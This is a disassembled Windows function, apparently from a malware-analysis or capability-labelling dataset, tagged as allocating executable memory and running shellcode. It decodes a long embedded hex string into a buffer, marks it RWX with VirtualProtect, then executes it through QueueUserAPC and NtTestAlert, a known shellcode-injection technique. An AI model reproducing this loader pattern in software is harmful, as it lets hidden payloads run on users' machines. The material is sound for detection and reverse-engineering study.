Function at 0x140002bbc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa8
lea rdx, str.imfArTRX_1SUbxZnn697Ss3tnPolIlBubVe3zOPCAS4qs1DG6ZmZq9OLytyr7gEAQ87mA12fFWiYCIXSNDBuCnnZlzroASzPYLyO8KJ2r2VZ38W1iy3QjPiS9xvL6DScqYMXKAe_G9dz1xOgLx58zkoYYZVcP6eLenDVMwXwZDUaCo2PdmkOiE1DLcrnBOoOwG0D7cNlpDToYeb28XEXUfSFylFDoeaHsXjoZTQQBFd2bCFVFUS9n2UxVAJvaNRmn_4wQ7OqpZy5ilSmPawQ2Wg8fu1h_nFHgOUnJXngosmAywrF0llKrxnANOrXPw8kwZCLx9lpLqYcwPnmzikWBsj1vRyxgzqbKyvtD5ldH6nmthbJ59Bz_wlXBUJ2cttZ87X7P1sdRuRxaCLg5oUEDzMamkhQHBVgaqz6EQtpXkekBB9aTNdOQW1WU8xwZ69imV4TB9QoXTvJJB4KdNPoUl0HbAnd6yIjwUIUdxCOJZMqpnl73bZIQhazJQPEdJU76Lavh7eLcf2Ls5ruMCuWzjDbyWqZKb804k9ytll79EiN399676UkiXBuMYCHRVUUYwQN5__cWjZbM64pi3po7IDU77n4RcDr8jq5vSICp3qtKjoeOJQPTPAi4WkgLBLMd4lYfTjxLH161VLdhaRlYYgTfroSCJboaHYyiP86g9aRdpHjP3unT0Y_5qgmTk50QQy51AKvVy6oTnzb9E7CnEcA7ZPJl0Gs_b2ixcddZiIn1eEeEjAXOZLSGkHBpLnXJDTtJL_dITXneaWgDUlbXwvsNrZS9X0ax4toM5OVU0CweGG7M9Qo32cWx7X2gOw5_wAr33SnTew97pheXmgvpmoEDWRR8nXwEEZIvU4DJg80xnIiWVqpMPX7UmaTV92Jv6PoDIq9dMAQZEIlx_IKInD04SgeXg0kav7IX3__5ZSGRSocTyhsFTmN0_NiQ4qVGFzfrJty5Y37W54cAMV8XXwsP8f5Um8lepWDH8ZtMtztQ8QwWVwbnttxxfmpkFRRsaRi_KrqLK8RguR4_IXrMe5zhN6vhiOQ3R8A4WsmSXOG8o4RXa7Av_vGp3TKIoWdrMa8YfUjjjGw8at2K8Lw8Z72Wi7rQsjHdsBigkv6Kv6tZXNFZ3DnDPSerichxyHktsJ193yUCruiyQDA98KjSJqsiiDwu6HilftDFOV9zZ0dKRCi_6IkTWuXnXLhkCwURELWb7IJ9NQZ8mGl9q4qFkETZohut1OirIWSkYkfBRBY2W3RtWD44vOzROJDlXkb9rruVg_1CE4TJJTJgGukmGlMoAm5C9GS7KyJI1TuyHxOBzZTVZICuGHmB6ymJcCaNnOGxo9jsOzjGe9FXKF9T6eB5awB2qCpboYjzvCg5Pgssiv6Dub_UdYBbPOK0EoGoCgGNWHLdULSwG2eP2oUcPnMhrOLorj5qlByXkhosIqwdjTIpQPiAYdG80eGDnsLdm6zT1YQxHVezZuB5qtKuSfZ6UCEqUnYF2Hgc_6AeFUBp4XMOgCH7eQXBGsoQQUM4XHoj8deWxqhsFMMng4nXsyoxnCDGdUAEACHBEtk7qAF90aNI6vJ4qJ0xHVfEzI4HSUrC0nRa3jvJEvDx6XDmrXnkdfzSsK7mBJXUqk6Ug5cdZmYJUNnoFrw5yAT9du6aDO6kBuWpygK3EncJGId2ylLfg3TByinvXtxTQNug9WvGFdIVx6kJe58LGtgWb909qINHf2EyT2hEQQaZt5AkzbKrLsijT25ib4448gMj7iLfYxDsV1S7wIoPxcYRGlmA29IpvOZHh7QRy2KTrzo8a5zNPRx5gKlI7QE4fRj7ncFn6iSAgktBWo_nNlRBbyBP6EPnik0aGlUBqXHvdplncL5_Q8J2PDoLUU0FZ8JtcBKp4QXSeGx3eebybiAb4vXreodsCiI4Jp2SL1fqjuuYjlTZ3jKlhcS_LYQy1MrA4rDMFhHfTStsw2sC0vy1YvJ9s8nqY1iQ_4f_D49dt2Mjdg3lBYeEd8MWrkWPLtYkgUDF8J76cqVCpbL4czXxMwg47ovMqd1tQ4hfplmp92CwM3k7mE1L032v8FqF6JlzLMLGmAwS9iZo4uB5BXzoehmw8eNfkAFPIaO8dgPtziJroPCrEy4kcNCGZOf_8wkq0tLEE3fLpqZxDxkZ1eYCV1tKrDCoX5vYFZFuhqw1lRAbPYVUNt8qQ2bPGbpYV3pFTZ4qBnEFWt8ehtIwugODYDbugAv2YYeKodKG0UcMBIxfg1GgtHZKuNCYNrINic86c4H0XpwnFodVbyZ_Ej_K_2hZD8jZnKNouPlefOwNrGQnI86j74yt51Yb00ptDaL4DssCppCKM1ldw
lea rcx, [rsp + 0x78]
call fcn.1400015c0
nop
lea r9, str.__qCBhgt___TQ
lea r8, str.WQyO_t8_cV_:RCj
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x58]
call fcn.1400011f0
nop
lea rcx, [rsp + 0x58]
call fcn.140001550
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x58]
call fcn.140001540
xor edx, edx
mov ecx, 2
div rcx
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
jmp 0x140002c41
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x58]
call fcn.140001540
xor edx, edx
mov ecx, 2
div rcx
cmp qword [rsp + 0x28], rax
jae 0x140002c90
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov r8, rax
lea rdx, str._02x
mov rcx, qword [rsp + 0x40]
call fcn.140002e74
mov rax, qword [rsp + 0x40]
add rax, 2
mov qword [rsp + 0x40], rax
jmp 0x140002c34
lea rcx, [rsp + 0x58]
call fcn.140001540
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0x38], eax
lea rcx, str.Decrypted_buffer:_n
call fcn.140002e1c
mov dword [rsp + 0x20], 0
jmp 0x140002cc8
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x20], eax
jge 0x140002cf0
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str.x_02x
call fcn.140002e1c
jmp 0x140002cbe
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov edx, 8
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call qword [rsp + 0x50]
nop
lea rcx, [rsp + 0x58]
call fcn.140001560
nop
lea rcx, [rsp + 0x78]
call fcn.140001560
add rsp, 0xa8
ret